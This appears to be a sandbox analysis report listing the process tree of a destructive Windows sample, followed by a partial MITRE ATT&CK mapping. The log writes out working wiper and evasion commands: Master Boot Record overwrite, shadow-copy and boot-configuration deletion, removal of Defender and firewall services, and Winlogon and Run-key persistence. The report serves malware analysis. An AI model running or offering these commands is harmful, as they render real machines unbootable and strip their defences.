C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
1⤵
PID:2028

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
1⤵
PID:3948

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
1⤵
PID:4220

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f
1⤵
PID:556

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AUOptions" /t REG_DWORD /d 1 /f
1⤵
PID:4980

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f
1⤵
PID:4000

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v "fAllowToGetHelp" /t REG_DWORD /d 0 /f
1⤵
PID:832

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 1 /f
1⤵
PID:2264

C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows\Installer" /v "DisableMSI" /t REG_DWORD /d 2 /f
1⤵
PID:5008

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsInstaller" /t REG_DWORD /d 1 /f
1⤵
PID:3748

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 1 /f
1⤵
PID:4156

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d 0 /f
1⤵
PID:4944

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
1⤵
- Modifies visibility of hidden/system files in Explorer
PID:2532

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideClock /t REG_DWORD /d 1 /f
1⤵
PID:2696

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
1⤵
PID:5064

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_DWORD /d 1 /f
1⤵
PID:1332

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\DWM" /v EnableAeroPeek /t REG_DWORD /d 0 /f
1⤵
PID:284

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
1⤵
- Modifies WinLogon for persistence
PID:296

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
1⤵
PID:308

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDisplaySettingsPage /t REG_DWORD /d 1 /f
1⤵
PID:2200

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 0x03ffffff /f
1⤵
PID:2648

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
1⤵
PID:1312

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f
1⤵
PID:2300

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v ErrorMode /t REG_DWORD /d 2 /f
1⤵
PID:1016

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
1⤵
PID:2072

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard" /v Enabled /t REG_DWORD /d 0 /f
1⤵
PID:4964

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 0 /f
1⤵
PID:4540

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\disk" /v Start /t REG_DWORD /d 4 /f
1⤵
PID:2560

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\ACPI" /v Start /t REG_DWORD /d 4 /f
1⤵
PID:2688

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" /v DisablePCA /t REG_DWORD /d 1 /f
1⤵
PID:3524

C:\Windows\System32\Wbem\WMIC.exe
wmic nic where "NetEnabled=true" call Disable
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2372

C:\Windows\system32\sc.exe
sc stop WerSvc
1⤵
PID:5116

C:\Windows\system32\sc.exe
sc config WerSvc start= disabled
1⤵
- Launches sc.exe
PID:2772

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
1⤵
PID:4268

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /d C:
1⤵
PID:2868

C:\Windows\system32\fsutil.exe
fsutil volume diskfree C:
1⤵
PID:4812

C:\Windows\system32\bcdedit.exe
bcdedit /set hypervisorlaunchtype off
1⤵
- Modifies boot configuration data using bcdedit
PID:3204

C:\Windows\system32\sc.exe
sc create "WinUpdateHelper" binPath= "cmd /c start C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" start= auto
1⤵
PID:4012

C:\Windows\system32\sethc.exe
sethc.exe 251
1⤵
PID:3104

C:\Windows\system32\reg.exe
reg add "HKCU\AppEvents\Schemes" /ve /t REG_SZ /d ".None" /f
1⤵
PID:4856

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemHealth" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
1⤵
- Adds Run key to start application
PID:3592

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f
1⤵
PID:1000

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d 00000000000000000300000000005BE000005CE000000000 /f
1⤵
PID:1604

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:2144

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:4048

C:\Windows\system32\ReAgentc.exe
reagentc /disable
1⤵
- Drops file in Windows directory
PID:3528

C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:3436

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
1⤵
PID:4568

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
1⤵
PID:5032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "$drive = New-Object System.IO.FileStream '\\.\PhysicalDrive0', 'Open', 'Write', 'ReadWrite'; $zero = New-Object Byte[] 512; $drive.Write($zero, 0, $zero.Length); $drive.Close()"
1⤵
- Command and Scripting Interpreter: PowerShell
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
PID:3276

C:\Windows\system32\bcdedit.exe
bcdedit /deletevalue {current} safeboot
1⤵
- Modifies boot configuration data using bcdedit
PID:2152

C:\Windows\system32\bcdedit.exe
bcdedit /deletevalue {default} safeboot
1⤵
- Modifies boot configuration data using bcdedit
PID:3024

C:\Windows\system32\bcdedit.exe
bcdedit /set {globalsettings} advancedoptions false
1⤵
- Modifies boot configuration data using bcdedit
PID:5068

C:\Windows\system32\bcdedit.exe
bcdedit /set {bootmgr} displaybootmenu no
1⤵
- Modifies boot configuration data using bcdedit
PID:3300

C:\Windows\system32\bcdedit.exe
bcdedit /timeout 0
1⤵
- Modifies boot configuration data using bcdedit
PID:3664

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Configuration Manager" /v "LastKnownGood" /t REG_DWORD /d 0 /f
1⤵
PID:1884

C:\Windows\system32\sc.exe
sc stop SDRSVC
1⤵
PID:2884

C:\Windows\system32\sc.exe
sc config SDRSVC start= disabled
1⤵
- Launches sc.exe
PID:3648

C:\Windows\system32\bcdedit.exe
bcdedit /set nx AlwaysOff
1⤵
- Modifies boot configuration data using bcdedit
PID:4472

C:\Windows\system32\bcdedit.exe
bcdedit /delete {bootmgr}
1⤵
- Modifies boot configuration data using bcdedit
PID:232

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32 /r /d y
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:124

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:1652

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:1768

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4888

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:2556

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4524

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:2308

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4004

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:772

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4508

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:2896

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4852

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4144

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:1004

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:1324

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:2868

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:2392

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:568

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:3204

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4796

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4012

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:3004

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4536

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4668

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:2336

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:2100

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4832

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:3848

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:3220

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5100

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4276

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4348

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:1256

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:3776

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4740

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:228

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:232

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:220

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:3692

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:776

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:3936

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:3388

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4572

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:3596

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:3960

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:1508

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4016

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:2940

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:124

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:2092

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:4948

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5092

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:3856

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:2520

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:2500

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5132

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5144

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5216

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5224

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5232

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5260

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5268

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5284

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5292

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5300

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5356

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5448

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5476

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5584

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5592

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5608

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5628

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5640

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5648

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5720

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5740

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5780

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5816

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5832

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5844

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5880

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5900

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5908

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:5916

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6044

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6076

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6084

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6148

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6192

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6216

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6224

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6232

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6240

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6248

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6256

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6264

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6272

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6280

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6288

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6296

C:\Windows\system32\cmd.exe
cmd /c "title & color 0c & echo & pause >nul"
1⤵
PID:6304

C:\Windows\system32\msg.exe
msg * ""
1⤵
PID:6312

C:\Windows\system32\taskkill.exe
taskkill /f /im csrss.exe
1⤵
- Kills process with taskkill
PID:6588

C:\Windows\system32\taskkill.exe
taskkill /f /im winlogon.exe
1⤵
- Kills process with taskkill
PID:6824

C:\Windows\system32\taskkill.exe
taskkill /f /im services.exe
1⤵
- Kills process with taskkill
PID:6912

C:\Windows\system32\taskkill.exe
taskkill /f /im LogonUI.exe
1⤵
- Kills process with taskkill
PID:6992

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Public\crash.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:7076
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1yco3xi4\1yco3xi4.cmdline"
  2⤵
  PID:4792
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC51B.tmp" "c:\Users\Admin\AppData\Local\Temp\1yco3xi4\CSC9B2CC14A38204D03A236EC1CF1856C2D.TMP"
    3⤵
    PID:1596
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /createstore C:\Users\Admin\AppData\Local\Temp\empty.bcd
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3180
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /import C:\Users\Admin\AppData\Local\Temp\empty.bcd /clean
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2024
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop WinDefend
  2⤵
  PID:2076
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config WinDefend start= disabled
  2⤵
  PID:4492
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" delete WinDefend
  2⤵
  PID:3396
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop WdNisSvc
  2⤵
  - Launches sc.exe
  PID:1784
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config WdNisSvc start= disabled
  2⤵
  PID:4444
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" delete WdNisSvc
  2⤵
  PID:1632
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop wscsvc
  2⤵
  PID:4464
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config wscsvc start= disabled
  2⤵
  PID:5028
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" delete wscsvc
  2⤵
  PID:4800
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop mpssvc
  2⤵
  PID:768
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config mpssvc start= disabled
  2⤵
  PID:4844
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" delete mpssvc
  2⤵
  PID:2024
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop BITS
  2⤵
  - Launches sc.exe
  PID:4800
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config BITS start= disabled
  2⤵
  PID:1784
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" delete BITS
  2⤵
  PID:2076
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:768
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config wuauserv start= disabled
  2⤵
  PID:4800
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" delete wuauserv
  2⤵
  PID:6692
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop TrustedInstaller
  2⤵
  PID:1784
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config TrustedInstaller start= disabled
  2⤵
  PID:1436
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" delete TrustedInstaller
  2⤵
  - Launches sc.exe
  PID:3396
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop CryptSvc
  2⤵
  PID:7184
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config CryptSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:7236
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" delete CryptSvc
  2⤵
  PID:7272
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /f C:\Windows\System32\config /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:7324
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\System32\config /grant administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:7380

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:7412

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat
1⤵
PID:7420

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:7640

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
PID:7672

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Netsh Helper DLL

T1546.007

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry